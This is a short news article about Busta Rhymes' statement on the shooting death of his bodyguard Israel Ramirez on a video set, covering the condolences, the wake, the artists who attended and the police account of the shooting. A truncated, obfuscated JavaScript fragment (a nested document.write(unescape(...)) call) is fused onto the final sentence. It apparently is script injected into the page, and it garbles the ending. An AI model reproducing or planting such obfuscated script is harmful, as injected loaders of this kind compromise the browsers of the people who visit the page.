Busta Rhymes shooting statement

Busta Rhymes has finally made a statement about the deadly shooting on the set of his video last Sunday that claimed the life of his 29-year-old bodyguard, Israel Ramirez. But despite pleas from the police to talk, Rhymes' comment was about his friendship with Ramirez, not a statement to authorities.

"I have sent my condolences to the Ramirez family during this time," Rhymes said in a statement issued by attorney Robert Kalina. Ramirez who was killed by a single gunshot wound to the chest on the set of the video for Rhymes' remix of his song "Touch It."

Rhymes praised Ramirez in the statement, saying he was "one of the rare friends that you come across that you can trust with your life. ... The conversations I have had with Izzy's wife have all been focused on comforting her and helping her get through this. To that end, I've assured her that I will be taking responsibility in making sure that my friend, a devoted husband and a loving father, is laid to rest in a proper fashion."

After a family wake was held on Wednesday, Rhymes was one of the guests at a second wake for Ramirez on Thursday in New York. "He put out his condolences, and that's it," said Alex Echavarria, 34, a friend of Ramirez's, according to The Associated Press. Ramirez's funeral was scheduled for Friday (February 10). Also in attendance at the wake were other artists who were on the set of the video the night the bodyguard was shot, including Missy Elliot and G-Unit's Tony Yayo and Lloyd Banks.

Police have said that they believe the violence was sparked by an argument between Yayo and a rival producer that spilled out onto the street outside the studio.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;